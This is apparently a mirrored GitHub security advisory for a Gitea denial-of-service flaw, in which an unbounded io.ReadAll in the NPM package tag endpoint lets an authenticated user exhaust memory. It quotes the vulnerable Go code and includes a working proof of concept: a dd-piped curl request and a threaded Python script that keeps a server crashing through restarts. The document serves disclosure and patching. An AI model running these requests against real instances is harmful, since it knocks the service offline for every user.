GHSA-WWQQ-X6W4-FRM2
Vulnerability from github – Published: 2026-07-21 20:39 – Updated: 2026-07-21 20:39
VLAI
Summary
Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint
Details
Summary
An unbounded io.ReadAll(ctx.Req.Body) call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.
Details
The AddPackageTag function reads the entire HTTP request body into memory using io.ReadAll() with no size validation:
// routers/api/packages/npm/npm.go:332-341
func AddPackageTag(ctx *context.Context) {
packageName := packageNameFromParams(ctx)
body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT
if err != nil {
apiError(ctx, http.StatusInternalServerError, err)
return
}
version := strings.Trim(string(body), "\"")
// ...
}
This route is registered at routers/api/packages/api.go:433:
r.Group("/-/package/{id}/dist-tags", func() {
// ...
r.Group("/{tag}", func() {
r.Put("", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)
r.Delete("", npm.DeletePackageTag)
})
})
Why this causes OOM and not just a slow request:
In Go, io.ReadAll() reads into a []byte that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable runtime.throw("out of memory") that kills the entire process, not just the goroutine handling the request.
No server-side size limits apply to this endpoint:
Gitea has per-type size limits (e.g., LIMIT_SIZE_NPM) defined in modules/setting/packages.go, but these are only enforced during UploadPackage, not in AddPackageTag. The mustBytes() function defaults all limits to -1 (unlimited) when not explicitly configured:
// modules/setting/packages.go:96-101
func mustBytes(section ConfigSection, key string) int64 {
const noLimit = "-1"
value := section.Key(key).MustString(noLimit) // defaults to "-1"
if value == noLimit {
return -1
}
Even if an admin sets LIMIT_SIZE_NPM, it would not protect this endpoint. AddPackageTag never checks any size limit before calling io.ReadAll().
The Gitea HTTP server has no global request body size limit. The HashedBuffer used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. AddPackageTag reads the body directly via io.ReadAll(), bypassing all buffer protections:
// modules/packages/hashed_buffer.go:29-33
const DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk
// but npm.go:336 bypasses this entirely:
body, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit
Access requirements:
- The route requires
reqPackageAccess(perm.AccessModeWrite) - Any user has write access to their own package namespace (
services/context/package.go:155-157):go if doer.ID == pkgOwner.ID { accessMode = perm.AccessModeOwner } - No NPM package needs to exist. The OOM occurs at line 336 before the package lookup at line 343:
go body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here // ... pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached
PoC
Tested Environment: - Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)
Prerequisites: Set up test environment
# docker-compose.yml
version: "3"
services:
gitea:
image: gitea/gitea:latest
container_name: gitea-dos-test
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__service__DISABLE_REGISTRATION=false
ports:
- "3000:3000"
deploy:
resources:
limits:
memory: 512M
docker compose up -d
# Complete initial setup in browser at http://localhost:3000
# Register a user account (e.g., user1 / Password123!)
Step 1: Single request OOM crash
# Send ~80% of container memory to the AddPackageTag endpoint.
# The body is read entirely into memory via io.ReadAll().
# For 512MB container: count=400 (~400MB) is enough.
# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).
# The package owner in the URL must match the authenticated user's username.
dd if=/dev/zero bs=1M count=400 | curl -u "user1:Password123!" \
-X PUT \
-H "Content-Type: application/json" \
--data-binary @- \
"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest" \
--max-time 120
Step 2: Verify server crash
# Check if server responds
curl -s -o /dev/null -w "%{http_code}" http://localhost:3000/api/v1/version
# Expected: connection refused (server is dead)
Step 3: Persistent DoS via concurrent requests (survives restart policies)
# Even with restart: always, concurrent attacks re-kill on startup
import threading, requests, itertools
payload = open('/tmp/p', 'rb').read() if __import__('os').path.exists('/tmp/p') else b'\x00' * (500 * 1024 * 1024)
i = itertools.count(1)
def worker():
s = requests.Session()
while True:
n = next(i)
try:
s.put(
f"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest",
data=payload,
auth=("user1", "A@12345678"),
timeout=120
)
except Exception:
pass
for _ in range(20):
threading.Thread(target=worker, daemon=True).start()
__import__('signal').pause()
One 400MB upload triggers OOM kill
https://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6
Crash loop after OOM with Docker restart policy
https://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7
Observed result on Gitea 1.26.2:
- Server logs: Received signal 15; terminating.
- Container status: Exited (0)
- Server remains down until manual restart
- With restart: always, server restarts but can be immediately re-killed
Impact
Who is impacted: - All Gitea instances with the package registry enabled (enabled by default) - Any authenticated user can crash the server (No admin privileges required) - With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server - All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services
Attack characteristics: - Single request is sufficient to crash the server - No special payload: raw zeros work (no compression tricks needed) - Persistent multiple requests can re-kill the server even after auto-restart - Minimal bandwidth: attacker sends ~80% of the server's available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42931"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:39:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn unbounded `io.ReadAll(ctx.Req.Body)` call in the NPM package tag API endpoint allows any authenticated user to crash the Gitea server by sending a single large HTTP request. The request body is read entirely into memory with no size limit, causing an Out-of-Memory (OOM) kill. With concurrent requests, the attack produces a persistent denial of service that survives automatic restarts.\n\n### Details\nThe [`AddPackageTag`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/npm/npm.go#L336) function reads the entire HTTP request body into memory using `io.ReadAll()` with no size validation:\n\n```go\n// routers/api/packages/npm/npm.go:332-341\nfunc AddPackageTag(ctx *context.Context) {\n packageName := packageNameFromParams(ctx)\n\n body, err := io.ReadAll(ctx.Req.Body) // NO SIZE LIMIT\n if err != nil {\n apiError(ctx, http.StatusInternalServerError, err)\n return\n }\n version := strings.Trim(string(body), \"\\\"\")\n // ...\n}\n```\n\nThis route is registered at [`routers/api/packages/api.go:433`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/api.go#L433):\n```go\nr.Group(\"/-/package/{id}/dist-tags\", func() {\n // ...\n r.Group(\"/{tag}\", func() {\n r.Put(\"\", npm.AddPackageTag) // reqPackageAccess(perm.AccessModeWrite)\n r.Delete(\"\", npm.DeletePackageTag)\n })\n})\n```\n\n**Why this causes OOM and not just a slow request:**\n\nIn Go, `io.ReadAll()` reads into a `[]byte` that grows dynamically. When the incoming data exceeds available memory, the Go runtime attempts to allocate a larger backing array. This allocation fails, triggering an unrecoverable `runtime.throw(\"out of memory\")` that kills the entire process, not just the goroutine handling the request.\n\n**No server-side size limits apply to this endpoint:**\n\nGitea has per-type size limits (e.g., `LIMIT_SIZE_NPM`) defined in [`modules/setting/packages.go`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/setting/packages.go#L35), but these are only enforced during `UploadPackage`, not in `AddPackageTag`. The [`mustBytes()`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/setting/packages.go#L96-L108) function defaults all limits to `-1` (unlimited) when not explicitly configured:\n```go\n// modules/setting/packages.go:96-101\nfunc mustBytes(section ConfigSection, key string) int64 {\n const noLimit = \"-1\"\n value := section.Key(key).MustString(noLimit) // defaults to \"-1\"\n if value == noLimit {\n return -1\n }\n```\n\nEven if an admin sets `LIMIT_SIZE_NPM`, it would not protect this endpoint. `AddPackageTag` never checks any size limit before calling `io.ReadAll()`.\n\nThe Gitea HTTP server has no global request body size limit. The [`HashedBuffer`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/modules/packages/hashed_buffer.go#L20-L33) used for package uploads (which does have a 32MB memory buffer before spilling to disk) is not used for this endpoint. `AddPackageTag` reads the body directly via `io.ReadAll()`, bypassing all buffer protections:\n\n```go\n// modules/packages/hashed_buffer.go:29-33\nconst DefaultMemorySize = 32 * 1024 * 1024 // 32MB, which is safe and spills to disk\n\n// but npm.go:336 bypasses this entirely:\nbody, err := io.ReadAll(ctx.Req.Body) // reads everything into RAM, no limit\n```\n\n**Access requirements:**\n\n- The route requires `reqPackageAccess(perm.AccessModeWrite)` \n- Any user has write access to their own package namespace ([`services/context/package.go:155-157`](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/services/context/package.go#L155-L157)):\n ```go\n if doer.ID == pkgOwner.ID {\n accessMode = perm.AccessModeOwner\n }\n ```\n- No NPM package needs to exist. The OOM occurs at line 336 before the [package lookup at line 343](https://github.com/go-gitea/gitea/blob/a12f9807933bd463368c6111dbc283d8a65f20f7/routers/api/packages/npm/npm.go#L343):\n ```go\n body, err := io.ReadAll(ctx.Req.Body) // line 336; OOM happens here\n // ...\n pv, err := packages_model.GetVersionByNameAndVersion(...) // line 343, which is never reached\n ```\n\n### PoC\n\n**Tested Environment:**\n- Gitea instance (tested on v1.26.2 Docker, confirmed in source up to v1.27.0-dev)\n\n**Prerequisites: Set up test environment**\n\n```yaml\n# docker-compose.yml\nversion: \"3\"\nservices:\n gitea:\n image: gitea/gitea:latest\n container_name: gitea-dos-test\n environment:\n - GITEA__database__DB_TYPE=sqlite3\n - GITEA__service__DISABLE_REGISTRATION=false\n ports:\n - \"3000:3000\"\n deploy:\n resources:\n limits:\n memory: 512M\n```\n\n```bash\ndocker compose up -d\n# Complete initial setup in browser at http://localhost:3000\n# Register a user account (e.g., user1 / Password123!)\n```\n\n**Step 1: Single request OOM crash**\n\n```bash\n# Send ~80% of container memory to the AddPackageTag endpoint.\n# The body is read entirely into memory via io.ReadAll().\n# For 512MB container: count=400 (~400MB) is enough.\n# For larger containers, scale accordingly (e.g., count=800 for 1GB, count=1600 for 2GB).\n# The package owner in the URL must match the authenticated user\u0027s username.\ndd if=/dev/zero bs=1M count=400 | curl -u \"user1:Password123!\" \\\n -X PUT \\\n -H \"Content-Type: application/json\" \\\n --data-binary @- \\\n \"http://localhost:3000/api/packages/user1/npm/-/package/anything/dist-tags/latest\" \\\n --max-time 120\n```\n\n**Step 2: Verify server crash**\n\n```bash\n# Check if server responds\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost:3000/api/v1/version\n# Expected: connection refused (server is dead)\n```\n\n**Step 3: Persistent DoS via concurrent requests (survives restart policies)**\n\n```python\n# Even with restart: always, concurrent attacks re-kill on startup\nimport threading, requests, itertools\n\npayload = open(\u0027/tmp/p\u0027, \u0027rb\u0027).read() if __import__(\u0027os\u0027).path.exists(\u0027/tmp/p\u0027) else b\u0027\\x00\u0027 * (500 * 1024 * 1024)\ni = itertools.count(1)\n\ndef worker():\n s = requests.Session()\n while True:\n n = next(i)\n try:\n s.put(\n f\"http://localhost:3000/api/packages/user1/npm/-/package/pkg{n}/dist-tags/latest\",\n data=payload,\n auth=(\"user1\", \"A@12345678\"),\n timeout=120\n )\n except Exception:\n pass\n\nfor _ in range(20):\n threading.Thread(target=worker, daemon=True).start()\n\n__import__(\u0027signal\u0027).pause()\n```\n\n### One 400MB upload triggers OOM kill\n\nhttps://github.com/user-attachments/assets/a7ba4566-56d5-41ba-ad9f-7e23045fa0f6\n\n### Crash loop after OOM with Docker restart policy\n\nhttps://github.com/user-attachments/assets/9211649f-e10c-4b78-a1e5-223ab90d04a7\n\n**Observed result on Gitea 1.26.2:**\n- Server logs: `Received signal 15; terminating.`\n- Container status: `Exited (0)`\n- Server remains down until manual restart\n- With `restart: always`, server restarts but can be immediately re-killed\n\n### Impact\n**Who is impacted:**\n- All Gitea instances with the package registry enabled (enabled by default)\n- Any authenticated user can crash the server (No admin privileges required)\n- With self-registration enabled (default), an unauthenticated attacker can register an account and immediately crash the server\n- All users of the Gitea instance lose access to repositories, CI/CD, issues, and all hosted services\n\n**Attack characteristics:**\n- **Single request** is sufficient to crash the server\n- **No special payload**: raw zeros work (no compression tricks needed)\n- **Persistent** multiple requests can re-kill the server even after auto-restart\n- **Minimal bandwidth**: attacker sends ~80% of the server\u0027s available memory in a single request to crash it (e.g., ~400MB for a 512MB instance, ~1.6GB for a 2GB instance)",
"id": "GHSA-wwqq-x6w4-frm2",
"modified": "2026-07-21T20:39:37Z",
"published": "2026-07-21T20:39:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-wwqq-x6w4-frm2"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Denial of Service via Unbounded io.ReadAll in NPM Package Tag Endpoint"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…